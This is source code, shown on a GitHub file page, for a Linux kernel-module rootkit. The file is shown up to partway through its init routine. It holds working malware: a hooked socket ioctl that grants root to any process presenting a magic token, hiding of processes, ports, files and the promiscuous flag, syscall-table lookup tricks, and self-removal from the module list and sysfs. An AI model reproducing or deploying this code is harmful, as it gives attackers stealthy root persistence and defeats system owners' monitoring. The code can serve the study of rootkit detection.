-
Notifications
You must be signed in to change notification settings - Fork 210
/
main.c
1085 lines (831 loc) · 26 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#include "common.h"
#include <linux/capability.h>
#include <linux/cred.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <linux/net.h>
#include <linux/in.h>
#include <net/tcp.h>
#include <net/udp.h>
#include <linux/init.h>
#define TMPSZ 150
static int (*inet_ioctl)(struct socket *, unsigned int, unsigned long);
static int (*tcp4_seq_show)(struct seq_file *seq, void *v);
static int (*tcp6_seq_show)(struct seq_file *seq, void *v);
static int (*udp4_seq_show)(struct seq_file *seq, void *v);
static int (*udp6_seq_show)(struct seq_file *seq, void *v);
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
static int (*proc_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);
static int (*root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);
#else
static int (*proc_filldir)(struct dir_context *, const char *, int, loff_t, u64, unsigned);
static int (*root_filldir)(struct dir_context *, const char *, int, loff_t, u64, unsigned);
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 11, 0)
static int (*proc_iterate)(struct file *file, void *dirent, filldir_t filldir);
static int (*root_iterate)(struct file *file, void *dirent, filldir_t filldir);
#define ITERATE_NAME readdir
#define ITERATE_PROTO struct file *file, void *dirent, filldir_t filldir
#define FILLDIR_VAR filldir
#define REPLACE_FILLDIR(ITERATE_FUNC, FILLDIR_FUNC) \
{ \
ret = ITERATE_FUNC(file, dirent, &FILLDIR_FUNC);\
}
#else
static int (*proc_iterate)(struct file *file, struct dir_context *);
static int (*root_iterate)(struct file *file, struct dir_context *);
#define ITERATE_NAME iterate
#define ITERATE_PROTO struct file *file, struct dir_context *ctx
#define FILLDIR_VAR ctx->actor
#define REPLACE_FILLDIR(ITERATE_FUNC, FILLDIR_FUNC) \
{ \
*((filldir_t *)&ctx->actor) = &FILLDIR_FUNC; \
ret = ITERATE_FUNC(file, ctx); \
}
#endif
unsigned long *sys_call_table;
unsigned long *ia32_sys_call_table;
unsigned int hide_promisc = 0;
unsigned int module_loading_disabled = 0;
struct s_proc_args {
unsigned short pid;
};
struct s_port_args {
unsigned short port;
};
struct s_file_args {
char *name;
unsigned short namelen;
};
struct s_args {
unsigned short cmd;
void *ptr;
};
struct hidden_port {
unsigned short port;
struct list_head list;
};
LIST_HEAD(hidden_tcp4_ports);
LIST_HEAD(hidden_tcp6_ports);
LIST_HEAD(hidden_udp4_ports);
LIST_HEAD(hidden_udp6_ports);
struct hidden_proc {
unsigned short pid;
struct list_head list;
};
LIST_HEAD(hidden_procs);
struct hidden_file {
char *name;
struct list_head list;
};
LIST_HEAD(hidden_files);
struct {
unsigned short limit;
unsigned long base;
} __attribute__ ((packed))idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed))idt;
#if defined(_CONFIG_X86_)
// Phrack #58 0x07; sd, devik
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[255];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
if ( p )
return *(unsigned long **)((char *)p + 3);
else
return NULL;
}
#elif defined(_CONFIG_X86_64_)
// http://bbs.chinaunix.net/thread-2143235-1-1.html
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[512];
rdmsrl(MSR_LSTAR, sct_off);
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if ( p )
{
unsigned long *sct = *(unsigned long **)((char *)p + 3);
// Stupid compiler doesn't want to do bitwise math on pointers
sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);
return sct;
}
else
return NULL;
}
// Obtain sys_call_table on amd64; pouik
unsigned long *find_ia32_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[512];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 16 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if ( p )
{
unsigned long *sct = *(unsigned long **)((char *)p + 3);
// Stupid compiler doesn't want to do bitwise math on pointers
sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);
return sct;
}
else
return NULL;
}
#else // ARM
// Phrack #68 0x06; dong-hoon you
unsigned long *find_sys_call_table ( void )
{
void *swi_addr = (long *)0xffff0008;
unsigned long offset, *vector_swi_addr;
offset = ((*(long *)swi_addr) & 0xfff) + 8;
vector_swi_addr = *(unsigned long **)(swi_addr + offset);
while ( vector_swi_addr++ )
if( ((*(unsigned long *)vector_swi_addr) & 0xfffff000) == 0xe28f8000 )
{
offset = ((*(unsigned long *)vector_swi_addr) & 0xfff) + 8;
return vector_swi_addr + offset;
}
return NULL;
}
#endif
void *get_inet_ioctl ( int family, int type, int protocol )
{
void *ret;
struct socket *sock = NULL;
if ( sock_create(family, type, protocol, &sock) )
return NULL;
ret = sock->ops->ioctl;
sock_release(sock);
return ret;
}
void *get_vfs_iterate ( const char *path )
{
void *ret;
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
ret = filep->f_op->ITERATE_NAME;
filp_close(filep, 0);
return ret;
}
void *get_vfs_read ( const char *path )
{
void *ret;
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
ret = filep->f_op->read;
filp_close(filep, 0);
return ret;
}
void *get_tcp_seq_show ( const char *path )
{
void *ret;
struct file *filep;
struct tcp_seq_afinfo *afinfo;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
afinfo = PDE(filep->f_dentry->d_inode)->data;
#elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
afinfo = PDE_DATA(filep->f_dentry->d_inode);
#else
afinfo = PDE_DATA(filep->f_path.dentry->d_inode);
#endif
ret = afinfo->seq_ops.show;
filp_close(filep, 0);
return ret;
}
void *get_udp_seq_show ( const char *path )
{
void *ret;
struct file *filep;
struct udp_seq_afinfo *afinfo;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0)
afinfo = PDE(filep->f_dentry->d_inode)->data;
#elif LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
afinfo = PDE_DATA(filep->f_dentry->d_inode);
#else
afinfo = PDE_DATA(filep->f_path.dentry->d_inode);
#endif
ret = afinfo->seq_ops.show;
filp_close(filep, 0);
return ret;
}
void hide_tcp4_port ( unsigned short port )
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = port;
list_add(&hp->list, &hidden_tcp4_ports);
}
void unhide_tcp4_port ( unsigned short port )
{
struct hidden_port *hp;
list_for_each_entry ( hp, &hidden_tcp4_ports, list )
{
if ( port == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_tcp6_port ( unsigned short port )
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = port;
list_add(&hp->list, &hidden_tcp6_ports);
}
void unhide_tcp6_port ( unsigned short port )
{
struct hidden_port *hp;
list_for_each_entry ( hp, &hidden_tcp6_ports, list )
{
if ( port == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_udp4_port ( unsigned short port )
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = port;
list_add(&hp->list, &hidden_udp4_ports);
}
void unhide_udp4_port ( unsigned short port )
{
struct hidden_port *hp;
list_for_each_entry ( hp, &hidden_udp4_ports, list )
{
if ( port == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_udp6_port ( unsigned short port )
{
struct hidden_port *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->port = port;
list_add(&hp->list, &hidden_udp6_ports);
}
void unhide_udp6_port ( unsigned short port )
{
struct hidden_port *hp;
list_for_each_entry ( hp, &hidden_udp6_ports, list )
{
if ( port == hp->port )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_proc ( unsigned short pid )
{
struct hidden_proc *hp;
hp = kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->pid = pid;
list_add(&hp->list, &hidden_procs);
}
void unhide_proc ( unsigned short pid )
{
struct hidden_proc *hp;
list_for_each_entry ( hp, &hidden_procs, list )
{
if ( pid == hp->pid )
{
list_del(&hp->list);
kfree(hp);
break;
}
}
}
void hide_file ( char *name )
{
struct hidden_file *hf;
hf = kmalloc(sizeof(*hf), GFP_KERNEL);
if ( ! hf )
return;
hf->name = name;
list_add(&hf->list, &hidden_files);
}
void unhide_file ( char *name )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
{
if ( ! strcmp(name, hf->name) )
{
list_del(&hf->list);
kfree(hf->name);
kfree(hf);
break;
}
}
}
static int n_tcp4_seq_show ( struct seq_file *seq, void *v )
{
int ret = 0;
char port[12];
struct hidden_port *hp;
hijack_pause(tcp4_seq_show);
ret = tcp4_seq_show(seq, v);
hijack_resume(tcp4_seq_show);
list_for_each_entry ( hp, &hidden_tcp4_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_tcp6_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
hijack_pause(tcp6_seq_show);
ret = tcp6_seq_show(seq, v);
hijack_resume(tcp6_seq_show);
list_for_each_entry ( hp, &hidden_tcp6_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_udp4_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
hijack_pause(udp4_seq_show);
ret = udp4_seq_show(seq, v);
hijack_resume(udp4_seq_show);
list_for_each_entry ( hp, &hidden_udp4_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
static int n_udp6_seq_show ( struct seq_file *seq, void *v )
{
int ret;
char port[12];
struct hidden_port *hp;
hijack_pause(udp6_seq_show);
ret = udp6_seq_show(seq, v);
hijack_resume(udp6_seq_show);
list_for_each_entry ( hp, &hidden_udp6_ports, list )
{
sprintf(port, ":%04X", hp->port);
if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) )
{
seq->count -= TMPSZ;
break;
}
}
return ret;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
static int n_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;
return root_filldir(__buf, name, namelen, offset, ino, d_type);
}
#else
static int n_root_filldir( struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
if ( ! strcmp(name, hf->name) )
return 0;
return root_filldir(nrf_ctx, name, namelen, offset, ino, d_type);
}
#endif
int n_root_iterate ( ITERATE_PROTO )
{
int ret;
root_filldir = FILLDIR_VAR;
hijack_pause(root_iterate);
REPLACE_FILLDIR(root_iterate, n_root_filldir);
hijack_resume(root_iterate);
return ret;
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 19, 0)
static int n_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_proc *hp;
char *endp;
long pid;
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_procs, list )
if ( pid == hp->pid )
return 0;
return proc_filldir(__buf, name, namelen, offset, ino, d_type);
}
#else
static int n_proc_filldir( struct dir_context *npf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_proc *hp;
char *endp;
long pid;
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_procs, list )
if ( pid == hp->pid )
return 0;
return proc_filldir(npf_ctx, name, namelen, offset, ino, d_type);
}
#endif
int n_proc_iterate ( ITERATE_PROTO )
{
int ret;
proc_filldir = FILLDIR_VAR;
hijack_pause(proc_iterate);
REPLACE_FILLDIR(proc_iterate, n_proc_filldir);
hijack_resume(proc_iterate);
return ret;
}
unsigned int n_dev_get_flags ( const struct net_device *dev )
{
unsigned int ret;
hijack_pause(dev_get_flags);
ret = dev_get_flags(dev);
hijack_resume(dev_get_flags);
if ( hide_promisc )
ret &= ~IFF_PROMISC;
return ret;
}
static long n_inet_ioctl ( struct socket *sock, unsigned int cmd, unsigned long arg )
{
int ret;
unsigned long flags;
struct s_args args;
DEFINE_SPINLOCK(spinlock);
if ( cmd == AUTH_TOKEN )
{
DEBUG("Authenticated, receiving command\n");
ret = copy_from_user(&args, (void *)arg, sizeof(args));
if ( ret )
return 0;
switch ( args.cmd )
{
/* Upgrade privileges of current process */
case 0:
DEBUG("Elevating privileges of PID %hu\n", current->pid);
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = 0;
current->suid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
current->fsuid = 0;
current->fsgid = 0;
cap_set_full(current->cap_effective);
cap_set_full(current->cap_inheritable);
cap_set_full(current->cap_permitted);
#else
commit_creds(prepare_kernel_cred(0));
#endif
break;
/* Hide process */
case 1:
{
struct s_proc_args proc_args;
ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args));
if ( ret )
return 0;
DEBUG("Hiding PID %hu\n", proc_args.pid);
hide_proc(proc_args.pid);
}
break;
/* Unhide process */
case 2:
{
struct s_proc_args proc_args;
ret = copy_from_user(&proc_args, args.ptr, sizeof(proc_args));
if ( ret )
return 0;
DEBUG("Unhiding PID %hu\n", proc_args.pid);
unhide_proc(proc_args.pid);
}
break;
/* Hide TCPv4 port */
case 3:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Hiding TCPv4 port %hu\n", port_args.port);
hide_tcp4_port(port_args.port);
}
break;
/* Unhide TCPv4 port */
case 4:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Unhiding TCPv4 port %hu\n", port_args.port);
unhide_tcp4_port(port_args.port);
}
break;
/* Hide TCPv6 port */
case 5:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Hiding TCPv6 port %hu\n", port_args.port);
hide_tcp6_port(port_args.port);
}
break;
/* Unhide TCPv6 port */
case 6:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Unhiding TCPv6 port %hu\n", port_args.port);
unhide_tcp6_port(port_args.port);
}
break;
/* Hide UDPv4 port */
case 7:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Hiding UDPv4 port %hu\n", port_args.port);
hide_udp4_port(port_args.port);
}
break;
/* Unhide UDPv4 port */
case 8:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Unhiding UDPv4 port %hu\n", port_args.port);
unhide_udp4_port(port_args.port);
}
break;
/* Hide UDPv6 port */
case 9:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Hiding UDPv6 port %hu\n", port_args.port);
hide_udp6_port(port_args.port);
}
break;
/* Unhide UDPv6 port */
case 10:
{
struct s_port_args port_args;
ret = copy_from_user(&port_args, args.ptr, sizeof(port_args));
if ( ret )
return 0;
DEBUG("Unhiding UDPv6 port %hu\n", port_args.port);
unhide_udp6_port(port_args.port);
}
break;
/* Hide file/directory */
case 11:
{
char *name;
struct s_file_args file_args;
ret = copy_from_user(&file_args, args.ptr, sizeof(file_args));
if ( ret )
return 0;
name = kmalloc(file_args.namelen + 1, GFP_KERNEL);
if ( ! name )
return 0;
ret = copy_from_user(name, file_args.name, file_args.namelen);
if ( ret )
{
kfree(name);
return 0;
}
name[file_args.namelen] = 0;
DEBUG("Hiding file/dir %s\n", name);
hide_file(name);
}
break;
/* Unhide file/directory */
case 12:
{
char *name;
struct s_file_args file_args;
ret = copy_from_user(&file_args, args.ptr, sizeof(file_args));
if ( ret )
return 0;
name = kmalloc(file_args.namelen + 1, GFP_KERNEL);
if ( ! name )
return 0;
ret = copy_from_user(name, file_args.name, file_args.namelen);
if ( ret )
{
kfree(name);
return 0;
}
name[file_args.namelen] = 0;
DEBUG("Unhiding file/dir %s\n", name);
unhide_file(name);
kfree(name);
}
break;
/* Hide network PROMISC flag */
case 13:
DEBUG("Hiding PROMISC flag\n");
hide_promisc = 1;
break;
/* Unhide network PROMISC flag */
case 14:
DEBUG("Unhiding PROMISC flag\n");
hide_promisc = 0;
break;
/* Enable module loading */
case 15:
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 31)
int *modules_disabled;
DEBUG("Enabling module loading\n");
modules_disabled = (int *)get_symbol("modules_disabled");
if ( modules_disabled )
*modules_disabled = 0;
#else
DEBUG("Disabling module loading not supported in this kernel version!\n");
#endif
}
break;
/* Silently prohibit module loading */
case 16:
DEBUG("Silently prohibiting module loading\n");
spin_lock_irqsave(&spinlock, flags);
if ( ! module_loading_disabled )
{
module_loading_disabled = 1;
disable_module_loading();
}
spin_unlock_irqrestore(&spinlock, flags);
break;
/* Silently re-permit module loading */
case 17:
DEBUG("Silently re-permitting module loading\n");
spin_lock_irqsave(&spinlock, flags);
if ( module_loading_disabled )
{
enable_module_loading();
module_loading_disabled = 0;
}
spin_unlock_irqrestore(&spinlock, flags);
break;
default:
break;
}
return 0;
}
hijack_pause(inet_ioctl);
ret = inet_ioctl(sock, cmd, arg);
hijack_resume(inet_ioctl);
return ret;
}
static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
{
/* Hide LKM and all symbols */
list_del_init(&__this_module.list);
/* Hide LKM from sysfs */
kobject_del(__this_module.holders_dir->parent);
#if defined(_CONFIG_X86_64_)
ia32_sys_call_table = find_ia32_sys_call_table();
DEBUG("ia32_sys_call_table obtained at %p\n", ia32_sys_call_table);
#endif
sys_call_table = find_sys_call_table();